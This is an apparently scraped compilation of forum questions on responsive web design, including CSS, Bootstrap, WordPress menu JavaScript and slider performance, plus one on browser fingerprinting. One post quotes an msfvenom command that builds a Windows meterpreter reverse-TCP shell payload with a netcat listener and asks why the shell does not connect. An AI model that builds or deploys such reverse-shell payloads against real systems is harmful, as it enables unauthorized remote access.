responsive not working

I have responsive.css file, but the site is not responsive. I use bootstrap3 although I use the meta tag

when I minimize the browser to the size of tablet or mobile, responsive not working

even the nav menu links appears with the toggle button at the same time when I minimize the browser and all sections do not appear responsive.

please, what could be wrong?

MSF Venom Reverse TCP-Shell: Meterpreter and Netcat Listeners not responsive

I have created a MSFVenom TCP Reverse Shell Paypload that is executed on a Windows Machine:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.11.6.151 LPORT=4443 -f exe -o shell.exe 

In addition I am running a listener with Metasploit’s "multi/handler" or alternatively, a netcat listener:

nc -lvp 4443 

However, after executing the payload on the target machine, I cannot get a working shell. Neither on Meterpreter nor Netcat.

Meterpreter

Meterpreter does not respond to any command, or backgrounding. I cannot get the normal Meterpreter Shell.

Netcat Listener

There is also no shell appearing on Netcat.

Any help or suggestions are very appreciated!

Effect of Firefox’s “Responsive Design Mode” on the browser’s fingerprint

Today I switched ON the "Responsive Design Mode" under the "Web Developer" Section of the Firefox menu, and from the dropdown menu selected "iPhone X/XS iOS 12".

So now every webpage I visited was being sent the request that the screen size of my device was "375×812".

My question is that, can this method enhance my protection against browser fingerprinting(assuming I also take some other precautions)? Because the websites now wouldn’t be able to know my original aspect ratio/screen resolution, and above 2 iPhones are quite common too(I am using a laptop).

I earlier tried to scale the Firefox window to nearly the aspect ratio of a mobile phone, but that didn’t make any differnce at all.

Note:

(i) In the context of this question my adversaries are only the companies and their websites,and not the Governments & ISPs.

(ii) I am just asking about the effect of this method on my browser’s fingerprint, that is, whether it will increase or decrease the fingerprint. Be advised: I am not using this as the only method.

(iii) Firefox version: 78.0.2

(iv) OS: some linux distro.

Creating responsive 3 x 3 gallery box

Hello I am trying to create a flex grid which has 3 by 3 image gallery which is responsive,

Currently this is going on a wordpress page and this is the code to my image using openseadragon.
So I need this image:

<div id="materials-0158" class="suarrmaterials-zoomable-image" style="height:460px; width:310px;" data-image="2020/05/DSC_0158-1.jpg"></div>

to appear three times next to each other and three on the bottom, I will update the images and add more image boxes once i get the correct…

Creating responsive 3 x 3 gallery box

Responsive input sliders – is there a better way?

I am building an app where a user controls inputs via multiple sliders each with discrete steps. The app then uses the combination of slider values to run some calculations and returns back an output value.

The sliders are meant to be highly responsive, so the user can immediately see the impact of their input combination on the output value -so I have resorted to eagerly calculating ALL possible combinations of sliders and letting the client query the results in the browser itself for faster response times.

The problem is that the number of possible combinations can seriously explode. If I have 5 inputs each with 10 steps, that is 5^10 = 9.8 million possible combinations! That’s way too expensive to calculate eagerly.

Is there a better way to do this? I could try to restrict the number of sliders that can be moved at any point, to lower the solution space…but wondering if there’s a better solution out there.

Responsive websites testing

Hi everyone ,

I'm a web developer, and I've often found myself wasting too much time checking if a responsive website displays properly on all screen sizes.

I feel we have lots of powerful and advanced applications to design and code websites, but there are very few tools to test and debug the behavior of responsive web pages.

I guess many of you have found themselves in my shoes before.

To overcome this problem and make our work easier, I've created slashB, an application that provides…

Responsive websites testing

Guidance for a basic responsive website

Hello, this is my first post on this forum.
I need to make a new website, a quite simple one with some pages.
It is a company website (my company) and for selling a product.
The product is a software for Windows (I mention that so you can know more or less what the site is about).

I've been reading how to make a responsive website, but I have some questions and I need some place to ask them, so here I am. I hope that I came to the right place, and if it is not, please point me where I…

Guidance for a basic responsive website

Resizing CTA button & keep it responsive

HI,

I want to resize the CTA button on a single product page to fit the container.
I used this CSS code to do so:

==
.single_add_to_cart_button.button.alt {
height: 47.35px;
width: 552px;
font-size: 25px;
text-align: center;
}
==

and it works fine on desktop screen.
I added this CSS code to make a button responsive & adaptative.

==
@media only screen and (max-width: 480px){
.single_add_to_cart_button.button.alt{
max-width:600px !important;
width:100%…

Resizing CTA button & keep it responsive

twentysixteen child theme – responsive menu – ham icon button not working – Cannot read property ‘classList’ of null

I am trying to convert this site http://buildandtest.atspace.cc/ into twentysixteen child theme. It appears that /js/menu.js in my child theme is not working as nothing happens when the ham icon button is clicked (pls.see my site link above to check correct behavior). On inspecting via Google Chrome Inspect I am getting the following errors:

Uncaught TypeError: Cannot read property ‘classList’ of null at mediaqueryresponse (menu.js?ver=5.3.2:19) at menu.js?ver=5.3.2:10 at menu.js?ver=5.3.2:31 mediaqueryresponse @ menu.js?ver=5.3.2:19 (anonymous) @ menu.js?ver=5.3.2:10 (anonymous) @ menu.js?ver=5.3.2:31

Any advice is appreciated

header.php in child theme

<header class="header" id='myTopnav'>  <?php  wp_nav_menu(              array(                   'theme_location'=> 'topnav',                   'container' => 'nav',                   'menu_class' => 'topnav',                   'menu_id'    => 'myTopnav',                   )  );?>  <button class="ham-icon"><span class="fa fa-bars fa-2x"></span></button>  </header> 

/js/menu.js in child theme

(function () {   var mql = window.matchMedia("screen and (max-width: 960px)");   //detect media query    var navTop = document.querySelector(".header");   //return first element within the document that matches .header    var toggle = document.querySelector(".ham-icon");    mediaqueryresponse(mql);   //ensures that addListener function is executed when the page loads, by default addListener only fires when state of the window changes   mql.addListener(mediaqueryresponse);    function mediaqueryresponse(mql) {     if (mql.matches) {       toggle.addEventListener("click", clickMenu);       //if media query matches, execute click or clickMenu event     } else {       navTop.classList.remove("responsive");       //otherwise remove .responsive       toggle.removeEventListener("click", clickMenu);       //and remove EventListener     }    }    function clickMenu() {     navTop.classList.toggle("responsive");   }  })(); 

wordpress quiz creator responsive problem

I am using a wordpress theme integrated quiz creator. in this creator, i add answers to the questions but in desktop apperance ,as below picture https://i.stack.imgur.com/VbWg1.png

And I want it on the mobile appereance to look the same as the computer yet in the mobile answers is Sorting by 1 column. How do I sorting the answers in a row?

problem is https://i.stack.imgur.com/38Ejo.png